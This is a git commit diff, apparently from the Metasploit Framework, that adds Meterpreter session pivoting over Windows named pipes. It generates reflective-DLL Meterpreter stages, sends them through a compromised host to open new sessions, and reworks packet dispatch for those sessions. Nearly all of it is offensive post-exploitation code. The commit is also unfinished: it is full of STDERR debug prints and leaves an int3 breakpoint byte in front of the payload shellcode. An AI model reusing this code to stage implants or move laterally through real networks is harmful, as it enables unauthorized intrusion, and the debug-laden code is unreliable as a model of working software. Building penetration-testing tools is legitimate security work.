Pushed on with more pivot code
parent
abc80655b7
commit
e3de01219a
|
@ -74,8 +74,8 @@ module Payload::Windows::ReverseNamedPipe
|
|||
#{asm_reverse_named_pipe(opts)}
|
||||
^
|
||||
|
||||
#"\xCC" + Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
|
||||
Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
|
||||
"\xCC" + Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
|
||||
#Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -12,6 +12,7 @@ require 'rex/post/meterpreter/object_aliases'
|
|||
require 'rex/post/meterpreter/packet'
|
||||
require 'rex/post/meterpreter/packet_parser'
|
||||
require 'rex/post/meterpreter/packet_dispatcher'
|
||||
require 'rex/post/meterpreter/pivot'
|
||||
require 'rex/post/meterpreter/pivot_container'
|
||||
|
||||
module Rex
|
||||
|
@ -36,6 +37,7 @@ class Client
|
|||
|
||||
include Rex::Post::Meterpreter::PacketDispatcher
|
||||
include Rex::Post::Meterpreter::ChannelContainer
|
||||
include Rex::Post::Meterpreter::PivotContainer
|
||||
|
||||
#
|
||||
# Extension name to class hash.
|
||||
|
@ -123,6 +125,7 @@ class Client
|
|||
self.retry_total = opts[:retry_total]
|
||||
self.retry_wait = opts[:retry_wait]
|
||||
self.passive_dispatcher = opts[:passive_dispatcher]
|
||||
self.pivot_session = opts[:pivot_session]
|
||||
|
||||
self.response_timeout = opts[:timeout] || self.class.default_timeout
|
||||
self.send_keepalives = true
|
||||
|
@ -132,7 +135,7 @@ class Client
|
|||
self.encode_unicode = false
|
||||
|
||||
self.aes_key = nil
|
||||
self.session_guid = "\x00" * 16
|
||||
self.session_guid = opts[:session_guid] || "\x00" * 16
|
||||
|
||||
# The SSL certificate is being passed down as a file path
|
||||
if opts[:ssl_cert]
|
||||
|
@ -144,33 +147,20 @@ class Client
|
|||
end
|
||||
end
|
||||
|
||||
if opts[:passive_dispatcher]
|
||||
initialize_passive_dispatcher
|
||||
initialize_passive_dispatcher if opts[:passive_dispatcher]
|
||||
|
||||
register_extension_alias('core', ClientCore.new(self))
|
||||
register_extension_alias('core', ClientCore.new(self))
|
||||
|
||||
initialize_inbound_handlers
|
||||
initialize_channels
|
||||
initialize_inbound_handlers
|
||||
initialize_channels
|
||||
initialize_pivots
|
||||
|
||||
# Register the channel inbound packet handler
|
||||
register_inbound_handler(Rex::Post::Meterpreter::Channel)
|
||||
register_inbound_handler(Rex::Post::Meterpreter::PivotContainer)
|
||||
else
|
||||
# Switch the socket to SSL mode and receive the hello if needed
|
||||
if capabilities[:ssl] and not opts[:skip_ssl]
|
||||
swap_sock_plain_to_ssl()
|
||||
end
|
||||
# Register the channel and pivot inbound packet handlers
|
||||
register_inbound_handler(Rex::Post::Meterpreter::Channel)
|
||||
register_inbound_handler(Rex::Post::Meterpreter::Pivot)
|
||||
|
||||
register_extension_alias('core', ClientCore.new(self))
|
||||
|
||||
initialize_inbound_handlers
|
||||
initialize_channels
|
||||
|
||||
# Register the channel inbound packet handler
|
||||
register_inbound_handler(Rex::Post::Meterpreter::Channel)
|
||||
register_inbound_handler(Rex::Post::Meterpreter::PivotContainer)
|
||||
|
||||
monitor_socket
|
||||
unless opts[:passive_dispatcher] || opts[:pivot_session]
|
||||
monitor_socket
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -481,6 +471,10 @@ class Client
|
|||
#
|
||||
attr_accessor :passive_dispatcher
|
||||
#
|
||||
# Reference to a session to pivot through
|
||||
#
|
||||
attr_accessor :pivot_session
|
||||
#
|
||||
# Flag indicating whether to hex-encode UTF-8 file names and other strings
|
||||
#
|
||||
attr_accessor :encode_unicode
|
||||
|
|
|
@ -116,9 +116,10 @@ TLV_TYPE_ENC_SYM_KEY = TLV_META_TYPE_RAW | 553
|
|||
#
|
||||
# Pivots
|
||||
#
|
||||
TLV_TYPE_PIVOT_STAGE_DATA = TLV_META_TYPE_RAW | 650
|
||||
TLV_TYPE_PIVOT_STAGE_DATA_SIZE = TLV_META_TYPE_UINT | 651
|
||||
TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_META_TYPE_STRING | 652
|
||||
TLV_TYPE_PIVOT_ID = TLV_META_TYPE_RAW | 650
|
||||
TLV_TYPE_PIVOT_STAGE_DATA = TLV_META_TYPE_RAW | 651
|
||||
TLV_TYPE_PIVOT_STAGE_DATA_SIZE = TLV_META_TYPE_UINT | 652
|
||||
TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_META_TYPE_STRING | 653
|
||||
|
||||
|
||||
#
|
||||
|
@ -632,6 +633,8 @@ class Packet < GroupTlv
|
|||
attr_accessor :created_at
|
||||
attr_accessor :raw
|
||||
attr_accessor :session_guid
|
||||
attr_accessor :encrypt_flags
|
||||
attr_accessor :length
|
||||
|
||||
##
|
||||
#
|
||||
|
@ -825,6 +828,14 @@ class Packet < GroupTlv
|
|||
end
|
||||
end
|
||||
|
||||
def parse_header!
|
||||
xor_key = self.raw.unpack('A4')[0]
|
||||
data = xor_bytes(xor_key, self.raw[0..PACKET_HEADER_SIZE])
|
||||
STDERR.puts("extracting header values\n")
|
||||
_, self.session_guid, self.encrypt_flags, self.length, self.type = data.unpack('a4a16NNN')
|
||||
STDERR.puts("extracted header values\n")
|
||||
end
|
||||
|
||||
#
|
||||
# Override the function that reads from a raw byte stream so
|
||||
# that the XORing of data is included in the process prior to
|
||||
|
@ -832,11 +843,11 @@ class Packet < GroupTlv
|
|||
# the TLV values.
|
||||
#
|
||||
def from_r(key=nil)
|
||||
self.parse_header!
|
||||
xor_key = self.raw.unpack('a4')[0]
|
||||
data = xor_bytes(xor_key, self.raw)
|
||||
_, self.session_guid, encrypt_flags, length, type = data.unpack('a4a16NNN')
|
||||
raw = decrypt_packet(key, encrypt_flags, data[PACKET_HEADER_SIZE..-1])
|
||||
super([length, type, raw].pack('NNA*'))
|
||||
data = xor_bytes(xor_key, self.raw[PACKET_HEADER_SIZE..-1])
|
||||
raw = decrypt_packet(key, self.encrypt_flags, data)
|
||||
super([self.length, self.type, raw].pack('NNA*'))
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -137,7 +137,7 @@ module PacketDispatcher
|
|||
if req.body and req.body.length > 0
|
||||
packet = Packet.new(0)
|
||||
packet.add_raw(req.body)
|
||||
packet.from_r(self.tlv_enc_key)
|
||||
packet.parse_header!
|
||||
dispatch_inbound_packet(packet)
|
||||
end
|
||||
cli.send_response(resp)
|
||||
|
@ -157,13 +157,22 @@ module PacketDispatcher
|
|||
#
|
||||
# Sends a packet without waiting for a response.
|
||||
#
|
||||
def send_packet(packet, completion_routine = nil, completion_param = nil)
|
||||
if (completion_routine)
|
||||
add_response_waiter(packet, completion_routine, completion_param)
|
||||
def send_packet(packet, opts={})
|
||||
if self.pivot_session
|
||||
opts[:session_guid] = self.session_guid
|
||||
opts[:tlv_enc_key] = self.tlv_enc_key
|
||||
return self.pivot_session.send_packet(packet, opts)
|
||||
end
|
||||
|
||||
if opts[:completion_routine]
|
||||
add_response_waiter(packet, opts[:completion_routine], opts[:completion_param])
|
||||
end
|
||||
|
||||
session_guid = opts[:session_guid] || self.session_guid
|
||||
tlv_enc_key = opts[:tlv_enc_key] || self.tlv_enc_key
|
||||
|
||||
bytes = 0
|
||||
raw = packet.to_r(self.session_guid, self.tlv_enc_key)
|
||||
raw = packet.to_r(session_guid, tlv_enc_key)
|
||||
err = nil
|
||||
|
||||
# Short-circuit send when using a passive dispatcher
|
||||
|
@ -244,7 +253,9 @@ module PacketDispatcher
|
|||
end
|
||||
|
||||
# Wait for the supplied time interval
|
||||
STDERR.puts("Waiting for the response: #{waiter.inspect}\n")
|
||||
response = waiter.wait(timeout)
|
||||
STDERR.puts("Response found\n")
|
||||
|
||||
# Remove the waiter from the list of waiters in case it wasn't
|
||||
# removed. This happens if the waiter timed out above.
|
||||
|
@ -427,11 +438,11 @@ module PacketDispatcher
|
|||
def receive_packet
|
||||
packet = parser.recv(self.sock)
|
||||
if packet
|
||||
packet.from_r(self.tlv_enc_key)
|
||||
STDERR.puts("here!\n")
|
||||
packet.parse_header!
|
||||
STDERR.puts("Packet: #{packet.inspect}\n")
|
||||
if self.session_guid == "\x00" * 16
|
||||
self.session_guid = packet.session_guid.dup
|
||||
elsif self.session_guid != packet.session_guid
|
||||
STDERR.puts("Incoming packet for other session: #{packet.inspect}\n")
|
||||
end
|
||||
end
|
||||
packet
|
||||
|
@ -462,6 +473,10 @@ module PacketDispatcher
|
|||
# Adds a waiter association with the supplied request packet.
|
||||
#
|
||||
def add_response_waiter(request, completion_routine = nil, completion_param = nil)
|
||||
if self.pivot_session
|
||||
return self.pivot_session.add_response_waiter(request, completion_routine, completion_param)
|
||||
end
|
||||
|
||||
waiter = PacketResponseWaiter.new(request.rid, completion_routine, completion_param)
|
||||
|
||||
self.waiters << waiter
|
||||
|
@ -474,6 +489,10 @@ module PacketDispatcher
|
|||
# if anyone.
|
||||
#
|
||||
def notify_response_waiter(response)
|
||||
if self.pivot_session
|
||||
return self.pivot_session.notify_response_waiter(response)
|
||||
end
|
||||
|
||||
handled = false
|
||||
self.waiters.each() { |waiter|
|
||||
if (waiter.waiting_for?(response))
|
||||
|
@ -490,7 +509,11 @@ module PacketDispatcher
|
|||
# Removes a waiter from the list of waiters.
|
||||
#
|
||||
def remove_response_waiter(waiter)
|
||||
self.waiters.delete(waiter)
|
||||
if self.pivot_session
|
||||
self.pivot_session.remove_response_waiter(waiter)
|
||||
else
|
||||
self.waiters.delete(waiter)
|
||||
end
|
||||
end
|
||||
|
||||
##
|
||||
|
@ -515,6 +538,12 @@ module PacketDispatcher
|
|||
def dispatch_inbound_packet(packet)
|
||||
handled = false
|
||||
|
||||
pivot = self.find_pivot(packet.session_guid)
|
||||
|
||||
pivot.dispatch_inbound_packet(packet) if pivot
|
||||
|
||||
packet.from_r(self.tlv_enc_key)
|
||||
|
||||
# Update our last reply time
|
||||
self.last_checkin = Time.now
|
||||
|
||||
|
|
|
@ -0,0 +1,136 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/post/meterpreter/inbound_packet_handler'
|
||||
require 'securerandom'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
|
||||
class PivotListener
|
||||
attr_accessor :id
|
||||
|
||||
attr_accessor :stager
|
||||
|
||||
def initialize(stager)
|
||||
self.id = [SecureRandom.uuid.gsub(/-/, '')].pack('H*')
|
||||
self.stager = stager
|
||||
end
|
||||
end
|
||||
|
||||
class Pivot
|
||||
|
||||
#
|
||||
# The associated meterpreter client instance
|
||||
#
|
||||
attr_accessor :client
|
||||
|
||||
attr_accessor :pivot_session_guid
|
||||
|
||||
attr_accessor :pivoted_session
|
||||
|
||||
|
||||
# Class modifications to support global pivot message
|
||||
# dispatching without having to register a per-instance handler
|
||||
class << self
|
||||
include Rex::Post::Meterpreter::InboundPacketHandler
|
||||
|
||||
# Class request handler for all channels that dispatches requests
|
||||
# to the appropriate class instance's DIO handler
|
||||
def request_handler(client, packet)
|
||||
if packet.method == 'core_pivot_session_new'
|
||||
STDERR.puts("Received pivot packet! #{packet.inspect}\n")
|
||||
session_guid = packet.get_tlv_value(TLV_TYPE_SESSION_GUID)
|
||||
listener_id = packet.get_tlv_value(TLV_TYPE_PIVOT_ID)
|
||||
Pivot.new(client, session_guid, listener_id)
|
||||
end
|
||||
true
|
||||
end
|
||||
end
|
||||
|
||||
def Pivot.create_listener(client, opts={})
|
||||
request = Packet.create_request('core_pivot_add')
|
||||
request.add_tlv(TLV_TYPE_PIVOT_NAMED_PIPE_NAME, opts[:pipe_name])
|
||||
|
||||
# TODO: use the framework to generate the whole lot, including a session type
|
||||
c = Class.new(::Msf::Payload)
|
||||
c.include(::Msf::Payload::Stager)
|
||||
#c.include(::Msf::Payload::TransportConfig)
|
||||
|
||||
# Include the appropriate reflective dll injection module for the target process architecture...
|
||||
if opts[:arch] == ARCH_X86
|
||||
c.include(::Msf::Payload::Windows::MeterpreterLoader)
|
||||
elsif opts[:arch] == ARCH_X64
|
||||
c.include(::Msf::Payload::Windows::MeterpreterLoader_x64)
|
||||
end
|
||||
|
||||
stage_opts = {
|
||||
force_write_handle: true,
|
||||
datastore: {
|
||||
'PIPEHOST' => opts[:pipe_host],
|
||||
'PIPENAME' => opts[:pipe_name]
|
||||
}
|
||||
}
|
||||
|
||||
# Create the migrate stager
|
||||
stager = c.new()
|
||||
|
||||
stage_opts[:transport_config] = [stager.transport_config_reverse_named_pipe(stage_opts)]
|
||||
stage = stager.stage_payload(stage_opts)
|
||||
|
||||
pivot_listener = PivotListener.new(stager)
|
||||
|
||||
request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA, stage)
|
||||
request.add_tlv(TLV_TYPE_PIVOT_STAGE_DATA_SIZE, stage.length)
|
||||
request.add_tlv(TLV_TYPE_PIVOT_ID, pivot_listener.id)
|
||||
|
||||
client.send_request(request)
|
||||
|
||||
client.add_pivot_listener(pivot_listener)
|
||||
end
|
||||
|
||||
def initialize(client, session_guid, listener_id)
|
||||
self.client = client
|
||||
self.pivot_session_guid = session_guid
|
||||
|
||||
opts = {
|
||||
pivot_session: client,
|
||||
session_guid: session_guid
|
||||
}
|
||||
|
||||
listener = client.find_pivot_listener(listener_id)
|
||||
|
||||
STDERR.puts("about to create the pivoted session instance 3\n")
|
||||
begin
|
||||
STDERR.puts("Stage: #{listener.stager.inspect}\n")
|
||||
STDERR.puts("Stage Session: #{listener.stager.session.inspect}\n")
|
||||
self.pivoted_session = listener.stager.session.new(nil, opts)
|
||||
rescue => e
|
||||
STDERR.puts(e.inspect)
|
||||
end
|
||||
STDERR.puts("pivoted session instance created: #{self.pivoted_session.inspect}\n")
|
||||
|
||||
self.client.add_pivot(self)
|
||||
|
||||
STDERR.puts("Setting the framework instance\n")
|
||||
self.pivoted_session.framework = self.client.framework
|
||||
STDERR.puts("Invoking the on_session method\n")
|
||||
self.pivoted_session.on_session(self.pivoted_session)
|
||||
STDERR.puts("Registering the session with the framework\n")
|
||||
self.client.framework.sessions.register(self.pivoted_session)
|
||||
STDERR.puts("done!\n")
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
# Cleans up any lingering resources
|
||||
#
|
||||
def cleanup
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end; end; end
|
||||
|
||||
|
|
@ -1,47 +1,68 @@
|
|||
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/post/meterpreter/inbound_packet_handler'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
|
||||
class PivotContainer
|
||||
###
|
||||
#
|
||||
# This interface is meant to be included by things that are meant to contain
|
||||
# zero or more pivot instances in the form of a hash.
|
||||
#
|
||||
###
|
||||
module PivotContainer
|
||||
|
||||
# Class modifications to support global pivot message
|
||||
# dispatching without having to register a per-instance handler
|
||||
class << self
|
||||
include Rex::Post::Meterpreter::InboundPacketHandler
|
||||
|
||||
# Class request handler for all channels that dispatches requests
|
||||
# to the appropriate class instance's DIO handler
|
||||
def request_handler(client, packet)
|
||||
if packet.method == 'core_pivot_new'
|
||||
STDERR.puts("Received pivot packet! #{packet.inspect}\n")
|
||||
end
|
||||
true
|
||||
end
|
||||
end
|
||||
|
||||
def initialize(client)
|
||||
self.client = client
|
||||
#
|
||||
# Initializes the pivot association hash
|
||||
#
|
||||
def initialize_pivots
|
||||
self.pivots = {}
|
||||
self.pivot_listeners = {}
|
||||
end
|
||||
|
||||
#
|
||||
# The associated meterpreter client instance
|
||||
# Adds a pivot to the container that is indexed by the pivoted
|
||||
# session guid.
|
||||
#
|
||||
attr_accessor :client
|
||||
def add_pivot(pivot)
|
||||
self.pivots[pivot.pivot_session_guid] = pivot
|
||||
end
|
||||
|
||||
def add_pivot_listener(listener)
|
||||
self.pivot_listeners[listener.id] = listener
|
||||
end
|
||||
|
||||
#
|
||||
# Looks up a pivot instance based on its pivoted session guid.
|
||||
#
|
||||
def find_pivot(pivot_session_guid)
|
||||
return self.pivots[pivot_session_guid]
|
||||
end
|
||||
|
||||
def find_pivot_listener(listener_id)
|
||||
return self.pivot_listeners[listener_id]
|
||||
end
|
||||
|
||||
#
|
||||
# Removes a pivot based on its pivoted session guid.
|
||||
#
|
||||
def remove_pivot(pivot_session_guid)
|
||||
return self.pivots.delete(pivot_session_guid)
|
||||
end
|
||||
|
||||
#
|
||||
# The hash of pivots.
|
||||
#
|
||||
attr_reader :pivots
|
||||
|
||||
attr_reader :pivot_listeners
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
# Cleans up any lingering resources
|
||||
#
|
||||
def cleanup
|
||||
end
|
||||
attr_writer :pivots # :nodoc:
|
||||
|
||||
attr_writer :pivot_listeners # :nodoc:
|
||||
|
||||
end
|
||||
|
||||
end; end; end
|
||||
|
||||
|
|
Loading…
Reference in New Issue